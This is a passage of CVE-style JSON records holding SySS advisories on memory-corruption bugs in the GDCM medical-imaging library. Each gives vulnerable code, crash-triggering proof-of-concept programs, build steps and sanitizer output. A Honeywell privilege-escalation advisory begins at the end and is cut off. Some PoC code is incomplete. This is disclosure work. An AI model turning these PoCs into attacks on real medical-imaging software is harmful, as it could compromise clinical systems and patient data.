4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-190","description":"CWE-190","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/86"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/86"},{"url":"https://creativecommons.org/licenses/by/4.0/deed.en"},{"url":"https://gdcm.sourceforge.net/"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"},{"url":"https://www.syss.de/en/responsible-disclosure-policy"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/86"],"discovery":"EXTERNAL"},"title":"[SYSS-2026-070]: GDCM (Grassroots DICOM) - Integer Overflow (CWE-190)","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0437","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/86","automated":true,"contentSha256":"c0cfaec47624d4609ac5f2a714ef00d094dd6cf07b8de2a6188d3df5a848189d","evidenceScore":10,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/86","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-23T13:33:44Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0437"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"GDCM (Grassroots DICOM)","vendor":"unknown","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"Matthias Deeg via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"Advisory ID: SYSS-2026-069\nProduct: GDCM (Grassroots DICOM)\nManufacturer: GDCM Project\nAffected Version(s): 3.3.0\nTested Version(s): 3.3.0\nVulnerability Type: Integer Overflow (CWE-190)\nRisk Level: High\nSolution Status: Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure: 2026-09-23\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nThe JPEG2000 image codec in GDCM, used for decoding JPEG2000-compressed\nDICOM pixel data, is vulnerable to an integer overflow that leads to a\nheap buffer overflow. The buffer size for decoded pixel data is computed\nusing 32-bit unsigned integer arithmetic based on image dimensions\n(rows * columns) from the DICOM header. When the product exceeds 2^32,\nthe result silently wraps around, causing an undersized buffer allocation.\nThe subsequent pixel data write loop then overflows the heap buffer.\nA malicious DICOM file with crafted image dimensions can trigger this\nvulnerability, potentially leading to remote code execution in the\ncontext of the user processing the file.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe vulnerable code is in the JPEG2000Codec::DecodeCommon function at\nSource/MediaStorageAndFileFormat/gdcmJPEG2000Codec.cxx:1037-1038:\n\n unsigned long len = Dimensions[0]*Dimensions[1] *\n (PF.GetBitsAllocated() / 8) * image->numcomps;\n char *raw = new char[len];\n\nThe variables Dimensions[0] and Dimensions[1] are both 'unsigned int'\n(32-bit) values inherited from the ImageCodec base class, populated from\nthe DICOM header's Rows and Columns elements (VR=US, maximum value\n65535). The multiplication chain\nDimensions[0]*Dimensions[1]*(PF.GetBitsAllocated()/8)*image->numcomps\nis executed entirely in 32-bit unsigned integer arithmetic, because all\noperands are 32-bit types. The result is only widened to 'unsigned long'\non assignment to 'len', after the overflow has already occurred.\n\nWhen the product exceeds 2^32, it wraps around modulo 2^32.\n\nFollowing the allocation, the decoded pixel data is written to the 'raw'\nbuffer in a loop:\n\n for (int i = 0; i < wr * hr; i++) {\n int v = image->comps[compno].data[i / wr * w + i % wr];\n *data8 = (uint8_t)v;\n data8 += image->numcomps;\n }\n\nThis loop writes wr*hr pixels, each advancing the pointer by numcomps,\nto the 'raw' buffer. Since the buffer is far smaller than needed due to\nthe integer overflow, this write operation causes a heap buffer overflow.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nA PoC was developed that reproduces the vulnerable calculation and\nbuffer allocation pattern from gdcmJPEG2000Codec.cxx, simulating the\npixel data write loop that overflows the undersized buffer.\n\nPoC source code:\n\n#include \n#include \n#include \n\ntypedef unsigned int uint32;\ntypedef unsigned long ulong;\n\nstatic void vulnerable_jpeg2000_decode(uint32 dim_x, uint32 dim_y,\n int bits_allocated, int numcomps)\n{\n // Vulnerable calculation (gdcmJPEG2000Codec.cxx:1037)\n unsigned long len = dim_x * dim_y *\n (bits_allocated / 8) * numcomps;\n\n // Vulnerable allocation (gdcmJPEG2000Codec.cxx:1038)\n char *raw = new char[len];\n\n unsigned long actual_bytes = (unsigned long long)dim_x * dim_y *\n (bits_allocated / 8) * numcomps;\n\n // Vulnerable pixel write loop (gdcmJPEG2000Codec.cxx:1084-1092)\n for (unsigned long i = 0; i < actual_bytes; i++) {\n raw[i] = (char)(i & 0xFF);\n }\n\n delete[] raw;\n}\n\nint main()\n{\n // Test Case 1: 16-bit grayscale, 65536 x 65536\n // Product overflows to 0, buffer allocated as 0 bytes\n vulnerable_jpeg2000_decode(65536, 65536, 16, 1);\n return 0;\n}\n\nTo build and run the PoC:\n\ng++ -fsanitize=address -fno-omit-frame-pointer -g \\\n pocs/poc_jpeg2000_integer_overflow.cpp -o poc\n\nRunning the PoC triggers the heap buffer overflow, detected by ASan:\n\n $ ./poc\n ==ERROR: AddressSanitizer: heap-buffer-overflow on address\n 0x7b2dac5e0010 at pc 0x557e499c4371 bp 0x7ffdf03c63a0 sp 0x7ffdf03c6390\n WRITE of size 1 at 0x7b2dac5e0010 thread T0\n #0 0x557e499c4370 in vulnerable_jpeg2000_decode\n poc_jpeg2000_integer_overflow.cpp:106\n #1 0x557e499c442d in main\n poc_jpeg2000_integer_overflow.cpp:131\n 0x7b2dac5e0010 is located 0 bytes inside of 1-byte region\n [0x7b2dac5e0010,0x7b2dac5e0011) allocated by thread T0 here:\n #0 0x7f0dadd2d431 in operator new[](unsigned long)\n #1 0x557e499c420e in vulnerable_jpeg2000_decode\n poc_jpeg2000_integer_overflow.cpp:79\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-069\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-190","description":"CWE-190","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/85"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/85"},{"url":"https://creativecommons.org/licenses/by/4.0/deed.en"},{"url":"https://gdcm.sourceforge.net/"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"},{"url":"https://www.syss.de/en/responsible-disclosure-policy"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/85"],"discovery":"EXTERNAL"},"title":"[SYSS-2026-069]: GDCM (Grassroots DICOM) - Integer Overflow (CWE-190)","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0436","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/85","automated":true,"contentSha256":"baf48fec3d1cbb79cfc98a855bc463d14707520aab4f578cab6023a5ce49d434","evidenceScore":10,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/85","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-23T13:33:39Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0436"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"GDCM (Grassroots DICOM)","vendor":"unknown","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"Matthias Deeg via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"Advisory ID: SYSS-2026-068\nProduct: GDCM (Grassroots DICOM)\nManufacturer: GDCM Project\nAffected Version(s): 3.3.0\nTested Version(s): 3.3.0\nVulnerability Type: Stack-based Buffer Overflow (CWE-121)\nRisk Level: High\nSolution Status: Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure: 2026-09-23\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nThe library function gdcm::System::EncodeBytes, defined in\nSource/Common/gdcmSystem.cxx, is vulnerable to a stack-based buffer\noverflow. The function uses a fixed-size 32-byte stack buffer and copies\ncaller-provided data into it via memcpy() without checking the size\nparameter against the buffer capacity. If a caller invokes EncodeBytes\nwith a size value greater than 32, a stack buffer overflow occurs,\npotentially leading to a process crash or arbitrary code execution in\nthe context of the user running the application.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe EncodeBytes function is a public static method of the\ngdcm::System class (declared in Source/Common/gdcmSystem.h). Its purpose\nis to convert a byte array (e.g. a UUID) into its decimal string\nrepresentation. The vulnerable code at Source/Common/gdcmSystem.cxx:620\nis the following:\n\n\n {\n bool zero = false;\n std::string sres;\n unsigned char buffer[32]; // 32-byte stack buffer\n unsigned char *addr = buffer;\n memcpy(addr, data, size); // BUG: no bounds check on 'size'\n while(!zero)\n {\n int res = getlastdigit(addr, size);\n const char v = (char)('0' + res);\n sres.insert(sres.begin(), v);\n zero = true;\n for(int i = 0; i < size; ++i)\n {\n zero = zero && (addr[i] == 0);\n }\n }\n\n //return sres;\n strcpy(out, sres.c_str()); //, sres.size() );\n return sres.size();\n }\n\nThe 'size' parameter is passed directly to memcpy() without validation\nagainst the 32-byte buffer capacity. Additionally, the subsequent\ngetlastdigit() call and the loop iterating 'size' elements\nall operate without bounds checks.\n\nSince EncodeBytes is a public API, any downstream application that links\nagainst GDCM and calls System::EncodeBytes with size > 32 is vulnerable.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nA PoC was developed that calls the actual gdcm::System::EncodeBytes\nfunction from a C++ program linked against the GDCM library, passing\na size value of 48 to overflow the 32-byte stack buffer.\n\nPoC source code:\n\n#include \n#include \n#include \n\nint main()\n{\n const int overflow_size = 48; // Exceeds the 32-byte buffer by 16\n unsigned char data[overflow_size];\n memset(data, 0x41, overflow_size); // 'A' pattern\n\n char outbuf[256];\n size_t len = gdcm::System::EncodeBytes(outbuf, data, overflow_size);\n printf(\"EncodeBytes returned length: %zu\\n\", len);\n return 0;\n}\n\nTo build and run the PoC, first compile GDCM with AddressSanitizer\n(ASan) and then compile the PoC linking against the library:\n\nmkdir -p /tmp/gdcmbin\ncmake -S . -B /tmp/gdcmbin \\\n -DGDCM_BUILD_SHARED_LIBS=OFF \\\n -DGDCM_BUILD_APPLICATIONS=OFF \\\n -DGDCM_BUILD_TESTING=OFF \\\n -DCMAKE_CXX_FLAGS=\"-fsanitize=address -fno-omit-frame-pointer -g\" \\\n -DCMAKE_EXE_LINKER_FLAGS=\"-fsanitize=address\"\nmake -C /tmp/gdcmbin -j$(nproc) gdcmCommon\n\ng++ -fsanitize=address -fno-omit-frame-pointer -g \\\n -ISource/Common \\\n pocs/poc1_encodebytes_stack_overflow.cpp \\\n /tmp/gdcmbin/bin/libgdcmCommon.a -o poc1\n\nRunning the PoC triggers the stack buffer overflow, detected by ASan:\n\n $ ./poc1\n ==2703==ERROR: AddressSanitizer: stack-buffer-overflow on address\n 0x7bb2b18f00c0 at pc 0x7fb2b4329714 bp 0x7ffeeda00b20 sp 0x7ffeeda002c8\n WRITE of size 48 at 0x7bb2b18f00c0 thread T0\n #0 0x7fb2b4329713 in memcpy (/usr/lib/libasan.so.8+0x129713)\n\n Source/Common/gdcmSystem.cxx:626\n [160, 192) 'buffer' (line 624) <== Memory access at offset 192\n overflows this variable\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-068\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-121","description":"CWE-121","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/84"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/84"},{"url":"https://creativecommons.org/licenses/by/4.0/deed.en"},{"url":"https://gdcm.sourceforge.net/"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"},{"url":"https://www.syss.de/en/responsible-disclosure-policy"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/84"],"discovery":"EXTERNAL"},"title":"[SYSS-2026-068]: GDCM (Grassroots DICOM) - Stack-based Buffer Overflow (CWE-121)","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0435","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/84","automated":true,"contentSha256":"efef70cf82ffb11cf3d41871ea9496a4c83483aed378ce27fd4a5d08ce7d83b8","evidenceScore":10,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/84","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-23T13:33:26Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0435"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"GDCM (Grassroots DICOM)","vendor":"unknown","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"Matthias Deeg via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"Advisory ID: SYSS-2026-067\nProduct: GDCM (Grassroots DICOM)\nManufacturer: GDCM Project\nAffected Version(s): 3.3.0\nTested Version(s): 3.3.0\nVulnerability Type: Stack-based Buffer Overflow (CWE-121)\nRisk Level: High\nSolution Status: Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure: 2026-09-23\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nGDCM's command-line tool gdcmxml, which converts between XML and DICOM\nfile formats, is vulnerable to a stack-based buffer overflow in the\nLoadValueInteger macro. An attacker who can control the XML input\nsupplied to the gdcmxml command-line application can cause an unbounded\nstack buffer overflow, potentially leading to a process crash or arbitrary\ncode execution in the context of the user running the application.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe gdcmxml application (Applications/Cxx/gdcmxml.cxx) contains a series\nof macros for loading DICOM attribute values from XML, including\nLoadValueInteger (line 344), LoadValueFloat (line 374), and LoadValueDouble\n(line 403). The LoadValueInteger macro declares a fixed-size stack array\nand populates it using sscanf() without any bounds checking on the\nelement count:\n\n #define LoadValueInteger(type) \\\n case type: \\\n { \\\n int count = 0; \\\n int values[10]; \\\n Element el; \\\n while(strcmp(name,\"Value\") == 0) \\\n { \\\n READ_NEXT \\\n char *value_char = (char*)xmlTextReaderConstValue(reader); \\\n int nvalue = sscanf(value_char, \"%d\", &(values[count++])); \\\n gdcm_assert( nvalue == 1 ); (void)nvalue; \\\n READ_NEXT /*Value ending tag*/ \\\n name = (const char*)xmlTextReaderConstName(reader); \\\n READ_NEXT \\\n name = (const char*)xmlTextReaderConstName(reader); \\\n } \\\n el.SetLength( (count) * vr.GetSizeof() ); \\\n int total = 0; \\\n while(total < count) \\\n { \\\n el.SetValue( (VRToType::Type)(values[total]), total); \\\n total++; \\\n } \\\n de = el.GetAsDataElement(); \\\n }break\n\nThe variable 'count' is incremented in the loop via the post-increment\noperator in the sscanf call (values[count++]) but is never checked against\nthe array size (10). Any XML input with more than 10 elements for\na VR handled by LoadValueInteger (IS, SS, UL, SL, US) overflows the\nint values[10] array.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nFor demonstrating the sscanf() overflow vulnerability in LoadValueInteger,\na simple PoC non-control-data exploit was developed that crashes the\napplication.\n\nFor this, a malicious XML file with 360 \"Value\" elements is used. The\nsscanf() overflow corrupts a pointer at values[304] on the stack, which is\nloaded and dereferenced causing a segmentation fault.\n\nThe following Python script creates the malicious XML file:\n\ncat > sscanf_overflow_poc.py << 'PYEOF'\nimport sys\n\nnum_values = 360\noutput = \"sscanf_overflow_poc.xml\"\n\nxml = b'\\n'\n\nxml += b'\\n'\n\nfor i in range(1, num_values + 1):\n\n\nxml += b'\\n'\nxml += b''\n\nwith open(output, 'wb') as f:\n f.write(xml)\n\noverflow_elements = num_values - 10\nPYEOF\n\n\n\n\n$ gdcmxml -i sscanf_overflow_poc.xml -o out.dcm\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-067\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-121","description":"CWE-121","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/71"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/71"},{"url":"https://creativecommons.org/licenses/by/4.0/deed.en"},{"url":"https://gdcm.sourceforge.net/"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"},{"url":"https://www.syss.de/en/responsible-disclosure-policy"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/71"],"discovery":"EXTERNAL"},"title":"[SYSS-2026-067]: GDCM (Grassroots DICOM) - Stack-based Buffer Overflow (CWE-121)","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0434","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/71","automated":true,"contentSha256":"6e88c4ea98615ad0e663b5ad6e0c6441536d32492122c2e42eadb9cf71bc76f2","evidenceScore":10,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/71","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-23T13:33:17Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0434"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"IQ MultiAccess Update Service","vendor":"Honeywell","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"SEC Consult Vulnerability Lab via Fulldisclosure"}],"descriptions":[{"lang":"en","value":"SEC Consult Vulnerability Lab Security Advisory < 20260923-0 >\n=======================================================================\n title: Local Privilege Escalation\n product: Honeywell IQ MultiAccess Update Service\n vulnerable version: IQ V27 & IQ V28\n fixed version: IQ V27 SP1 & IQ V28 SP1\n         CVE number: CVE-2026-13742\n             impact: high\n homepage:https://buildings.honeywell.com/us/en/products/by-category/access-control/software/iq-multiaccess\n              found: 2026-03-19\n by: J. Kruchem (Office Vienna)\n G. Jank (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"IQ MultiAccess is a highly scalable access control software solution suitable\nfor controlling multiple locations within a company or several companies\nwithin a building complex/business park.\"\n\nSource:https://buildings.honeywell.com/us/en/products/by-category/access-control/software/iq-multiaccess\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides patched versions which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege Escalation (CVE-2026-13742)\nDue to a named pipe configured with a NULL DACL a low-privileged user can\nuse the pipe to communicate with the IQUpdSrv service running as SYSTEM.\nWhen providing specific data over the pipe, arbitrary executables can be\nexecuted with SYSTEM rights.\n\n\nProof of concept:\n-----------------\n1) Local Privilege Escalation (CVE-2026-13742)\nThe PoC PS-Script connects to the named pipe and sends the following commands:\n - SET SERVERIP \"127.0.0.1\"\n - Configure IP. The IP itself is not important because the goal is to timeout the 